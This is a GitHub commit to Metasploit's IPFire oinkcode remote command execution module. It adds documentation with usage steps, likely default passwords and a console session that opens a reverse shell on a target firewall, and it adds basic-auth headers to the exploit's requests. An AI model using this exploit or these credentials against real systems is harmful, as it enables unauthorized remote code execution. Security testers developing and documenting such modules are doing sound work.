Skip to content

Commit 46ffd25

Browse files
committed
module working and docs
1 parent c35dffc commit 46ffd25

File tree

2 files changed

+56
-3
lines changed

2 files changed

+56
-3
lines changed
Lines changed: 48 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,48 @@
1+
## Vulnerable Application
2+
3+
Official Source: [ipfire](http://downloads.ipfire.org/releases/ipfire-2.x/2.19-core110/ipfire-2.19.x86_64-full-core110.iso)
4+
5+
This module has been verified against:
6+
7+
1. 2.19 core 100
8+
2. 2.19 core 110 (exploit-db, not metasploit module)
9+
10+
## Verification Steps
11+
12+
1. Install the firewall
13+
2. Start msfconsole
14+
3. Do: ```use exploit/linux/http/ipfire_oinkcode_exec```
15+
4. Do: ```set password admin``` or whatever it was set to at install
16+
5. Do: ```set rhost 10.10.10.10```
17+
6. Do: ```set payload cmd/unix/reverse_perl```
18+
7. Do: ```set lhost 192.168.2.229```
19+
8. Do: ```exploit```
20+
9. You should get a shell.
21+
22+
## Options
23+
24+
**PASSWORD**
25+
26+
Password is set at install. May be blank, 'admin', or 'ipfire'.
27+
28+
## Scenarios
29+
30+
```
31+
msf > use exploit/linux/http/ipfire_oinkcode_exec
32+
msf exploit(ipfire_oinkcode_exec) > set password admin
33+
password => admin
34+
msf exploit(ipfire_oinkcode_exec) > set rhost 192.168.2.201
35+
rhost => 192.168.2.201
36+
msf exploit(ipfire_oinkcode_exec) > set verbose true
37+
verbose => true
38+
msf exploit(ipfire_oinkcode_exec) > check
39+
[*] 192.168.2.201:444 The target appears to be vulnerable.
40+
msf exploit(ipfire_oinkcode_exec) > exploit
41+
42+
[*] Started reverse TCP handler on 192.168.2.117:4444
43+
[*] Command shell session 1 opened (192.168.2.117:4444 -> 192.168.2.201:38412) at 2017-06-14 21:12:21 -0400
44+
id
45+
uid=99(nobody) gid=99(nobody) groups=99(nobody),16(dialout),23(squid)
46+
whoami
47+
nobody
48+
```

modules/exploits/linux/http/ipfire_oinkcode_exec.rb

Lines changed: 8 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -59,9 +59,12 @@ def initialize(info = {})
5959

6060
def check
6161
begin
62+
# authorization header required, see https://github.com/rapid7/metasploit-framework/pull/6433#r56764179
63+
# after a chat with @bcoles in IRC.
6264
res = send_request_cgi(
6365
'uri' => '/cgi-bin/pakfire.cgi',
64-
'method' => 'GET'
66+
'method' => 'GET',
67+
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
6568
)
6669
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
6770
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200
@@ -79,16 +82,18 @@ def check
7982

8083
def exploit
8184
begin
82-
85+
# authorization header required, see https://github.com/rapid7/metasploit-framework/pull/6433#r56764179
86+
# after a chat with @bcoles in IRC.
8387
res = send_request_cgi(
8488
'uri' => '/cgi-bin/ids.cgi',
8589
'method' => 'POST',
8690
'ctype' => 'application/x-www-form-urlencoded',
91+
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
8792
'headers' =>
8893
{
8994
'Referer' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}/cgi-bin/ids.cgi"
9095
},
91-
'data' => {
96+
'vars_post' => {
9297
'ENABLE_SNORT_GREEN' => 'on',
9398
'ENABLE_SNORT' => 'on',
9499
'RULES' => 'registered',

0 commit comments

Comments
 (0)